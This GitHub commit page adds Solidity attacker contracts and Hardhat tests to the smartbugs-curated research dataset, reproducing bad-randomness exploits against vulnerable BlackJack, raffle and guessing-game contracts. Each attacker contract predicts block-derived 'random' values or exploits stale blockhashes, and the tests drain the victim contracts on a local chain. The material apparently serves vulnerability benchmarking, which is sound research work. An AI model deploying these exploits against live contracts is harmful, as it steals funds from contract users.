Skip to content

Commit

Permalink
Merge pull request #10 from ASSERT-KTH/9-sb-curated-bad-randomness
Browse files Browse the repository at this point in the history
Add tests simulating sb-curated bad randomness attacks
  • Loading branch information
Mokita-J authored Aug 28, 2024
2 parents aa070f4 + a53600a commit b7d7c51
Show file tree
Hide file tree
Showing 10 changed files with 379 additions and 1 deletion.
Original file line number Diff line number Diff line change
Expand Up @@ -16,4 +16,4 @@ access_control/simple_suicide.sol,True
access_control/unprotected0.sol,True
access_control/wallet_02_refund_nosub.sol,True
access_control/wallet_03_wrong_constructor.sol,True
access_control/wallet_04_confused_sign.sol,True
access_control/wallet_04_confused_sign.sol,True
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
pragma solidity ^0.4.9;

import "../dataset/bad_randomness/blackjack.sol";

contract BlackJackAttacker {

BlackJack blackjack;

function BlackJackAttacker(address _target) {
blackjack = BlackJack(_target);
}

// using Deck for *;

function() external payable {
}

function _calculateScore(uint8[] memory cards) internal view returns (uint8, uint8) {
uint8 score = 0;
uint8 scoreBig = 0; // in case of Ace there could be 2 different scores
bool bigAceUsed = false;
for (uint256 i = 0; i < cards.length; ++i) {
uint8 card = cards[i];
if (Deck.isAce(card) && !bigAceUsed) {
// doesn't make sense to use the second Ace as 11, because it leads to the losing
scoreBig += Deck.valueOf(card, true);
bigAceUsed = true;
} else {
scoreBig += Deck.valueOf(card, false);
}
score += Deck.valueOf(card, false);
}
return (score, scoreBig);
}

function play() public payable {

uint8[] memory playerCards = new uint8[](2);
playerCards[0] = Deck.deal(address(this), 0);
playerCards[1] = Deck.deal(address(this), 2);

(uint8 score, uint8 scoreBig) = _calculateScore(playerCards);

if (scoreBig == 21 || score == 21) {
blackjack.deal.value(5 ether)();
} else {
msg.sender.transfer(msg.value);
}
}

}
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
pragma solidity ^0.4.16;

import "../dataset/bad_randomness/etheraffle.sol";
contract Ethraffle_v4bAttacker {
Ethraffle_v4b target;
uint constant totalTickets = 50;
mapping (uint => address) contestants;

function Ethraffle_v4bAttacker(address _target) public {
target = Ethraffle_v4b(_target);
}

function setContestant(uint number, address contestant) public {
contestants[number] = contestant;
}

function setContestants(address contestant) public {
for (uint i = 0; i < totalTickets - 1; i++) {
contestants[i] = contestant;
}
}

function chooseWinner() public returns (uint) {

// console.log("coinbase", block.coinbase);
// console.log("difficulty: %d", block.difficulty);

address seed1 = contestants[uint(block.coinbase) % totalTickets];
address seed2 = contestants[uint(address(this)) % totalTickets];
uint seed3 = block.difficulty;
bytes32 randHash = keccak256(seed1, seed2, seed3);
uint winningNumber = uint(randHash) % totalTickets;
return winningNumber;
}

function attack() public payable returns (bool) {
uint winningNumber = chooseWinner();
if (winningNumber == totalTickets - 1) {
target.buyTickets.value(0.0506 ether)();
return true;
}
return false;
}

function() public payable {
}
}
9 changes: 9 additions & 0 deletions smartbugs-curated/0.4.x/contracts/bad_randomness/exploits.csv
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
file path, exploitable and exposed
bad_randomness/blackjack.sol,True
bad_randomness/etheraffle.sol,True
bad_randomness/guess_the_random_number.sol,True
bad_randomness/lottery.sol,False
bad_randomness/lucky_doubler.sol,False
bad_randomness/old_blockhash.sol,True
bad_randomness/random_number_generator.sol,False
bad_randomness/smart_billions.sol,TODO
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
pragma solidity ^0.4.21;

import "../dataset/bad_randomness/guess_the_random_number.sol";

contract GuessTheRandomNumberChallengeAttacker {

GuessTheRandomNumberChallenge target;

function GuessTheRandomNumberChallengeAttacker(address _target) public payable {
target = GuessTheRandomNumberChallenge(_target);
}

function attack(uint block_number, uint256 block_timestamp) public payable {
uint8 answer = uint8(keccak256(block.blockhash(block_number-1), block_timestamp));
target.guess.value(1 ether)(answer);
}

function() public payable {
}

}
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
pragma solidity ^0.4.24;

import "../dataset/bad_randomness/old_blockhash.sol";

contract PredictTheBlockHashChallengeAttacker {

PredictTheBlockHashChallenge target;

function PredictTheBlockHashChallengeAttacker(address _target) public {
target = PredictTheBlockHashChallenge(_target);
}

function attack() public payable {
target.lockInGuess.value(1 ether)(0);
}

function retrieve() public {
target.settle();
}

function() public payable {
}

}
70 changes: 70 additions & 0 deletions smartbugs-curated/0.4.x/test/bad_randomness/blackjack_test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers');
const { expect } = require('chai');
let victimAmount, attackerAmount;

describe('attack bad_randomness/blackjack.sol', function () {
async function deployContracts() {
const [v, a] = await ethers.getSigners();

const BlackJack = await ethers.getContractFactory('contracts/dataset/bad_randomness/blackjack.sol:BlackJack');
const victim = await BlackJack.deploy();
await victim.waitForDeployment();

victimAmount = ethers.parseEther('10');

await v.sendTransaction({
to: victim.target,
value: victimAmount
});


const BlackJackAttacker = await ethers.getContractFactory('contracts/bad_randomness/blackjack_attack.sol:BlackJackAttacker');
const attacker = await BlackJackAttacker.deploy(victim.target);
await attacker.waitForDeployment();

attackerAmount = ethers.parseEther('5');
await a.sendTransaction({
to: attacker.target,
value: attackerAmount
});

return {victim, attacker};
}


it('exploit bad randomness vulnerability', async function () {
const sleep = (delay) => new Promise((resolve) => setTimeout(resolve, delay))

const {victim, attacker} = await loadFixture(deployContracts);

const victimBalanceBefore = await ethers.provider.getBalance(victim.target);
expect(victimBalanceBefore).to.equal(victimAmount);

const attackerBalanceBefore = await ethers.provider.getBalance(attacker.target);
expect(attackerBalanceBefore).to.equal(attackerAmount);

let currentBalance = await ethers.provider.getBalance(victim.target);
while (currentBalance > 0) {
try {
await attacker.play();

currentBalance = await ethers.provider.getBalance(victim.target);

if (currentBalance == 0) {
break;
}
} catch (error) {
// console.error("Error during play():", error);
break;
}

await sleep(1);
}

const victimBalanceAfter = await ethers.provider.getBalance(victim.target);

const attackerBalanceAfter = await ethers.provider.getBalance(attacker.target);
expect(attackerBalanceAfter).to.gt(victimBalanceAfter);

});
});
53 changes: 53 additions & 0 deletions smartbugs-curated/0.4.x/test/bad_randomness/etheraffle_test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
const { loadFixture, mine } = require('@nomicfoundation/hardhat-network-helpers');
const { expect } = require('chai');

describe('attack bad_randomness/etheraffle.sol', function () {
async function deployContracts() {

const Ethraffle_v4b = await ethers.getContractFactory('contracts/dataset/bad_randomness/etheraffle.sol:Ethraffle_v4b');
const victim = await Ethraffle_v4b.deploy();
await victim.waitForDeployment();


const Ethraffle_v4bAttacker = await ethers.getContractFactory('contracts/bad_randomness/etheraffle_attack.sol:Ethraffle_v4bAttacker');
const attacker = await Ethraffle_v4bAttacker.deploy(victim.target);
await attacker.waitForDeployment();

return {victim, attacker};
}


it('exploit bad randomness vulnerability', async function () {
const {victim, attacker} = await loadFixture(deployContracts);

const victimBalanceBefore = await ethers.provider.getBalance(victim.target);
expect(victimBalanceBefore).to.equal(0);

const attackerBalanceBefore = await ethers.provider.getBalance(attacker.target);
expect(attackerBalanceBefore).to.equal(0);

const [v, a] = await ethers.getSigners();
const amount = ethers.parseEther('2.48');
await v.sendTransaction({
to: victim.target,
value: amount
});

await attacker.setContestants(v.address);

const attackerAmount = ethers.parseEther('0.0506');
await a.sendTransaction({
to: attacker.target,
value: attackerAmount
});

let attackerBalanceAfter = 0;

while(attackerBalanceAfter <= attackerAmount) {
await attacker.attack();
attackerBalanceAfter = await ethers.provider.getBalance(attacker.target);
}

expect(attackerBalanceAfter).to.be.equal(ethers.parseEther('2.5'));
});
});
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers');
const { expect } = require('chai');
let amount;

describe('attack bad_randomness/guess_the_random_number.sol', function () {
async function deployContracts() {
const [v, a] = await ethers.getSigners();
amount = ethers.parseEther('1');

const options = {
from: v,
value: amount};
const GuessTheRandomNumberChallenge = await ethers.getContractFactory('contracts/dataset/bad_randomness/guess_the_random_number.sol:GuessTheRandomNumberChallenge');
const victim = await GuessTheRandomNumberChallenge.deploy(options);

const tx = await victim.deploymentTransaction().wait();
const block = await ethers.provider.getBlock(tx.blockNumber);


const GuessTheRandomNumberChallengeAttacker = await ethers.getContractFactory('contracts/bad_randomness/guess_the_random_number_attack.sol:GuessTheRandomNumberChallengeAttacker');
const attacker = await GuessTheRandomNumberChallengeAttacker.deploy(victim.target);
await attacker.waitForDeployment();

await a.sendTransaction({
to: attacker.target,
value: amount
});

return {block, victim, attacker};
}


it('exploit bad randomness vulnerability', async function () {
const {block, victim, attacker} = await loadFixture(deployContracts);

const victimBalanceBefore = await ethers.provider.getBalance(victim.target);
expect(victimBalanceBefore).to.equal(amount);

const attackerBalanceBefore = await ethers.provider.getBalance(attacker.target);
expect(attackerBalanceBefore).to.equal(amount);

await attacker.attack(block.number, block.timestamp);

const victimBalanceAfter = await ethers.provider.getBalance(victim.target);
expect(victimBalanceAfter).to.equal(0);

const attackerBalanceAfter = await ethers.provider.getBalance(attacker.target);
expect(attackerBalanceAfter).to.equal(amount + amount);

});
});
Loading

0 comments on commit b7d7c51

Please sign in to comment.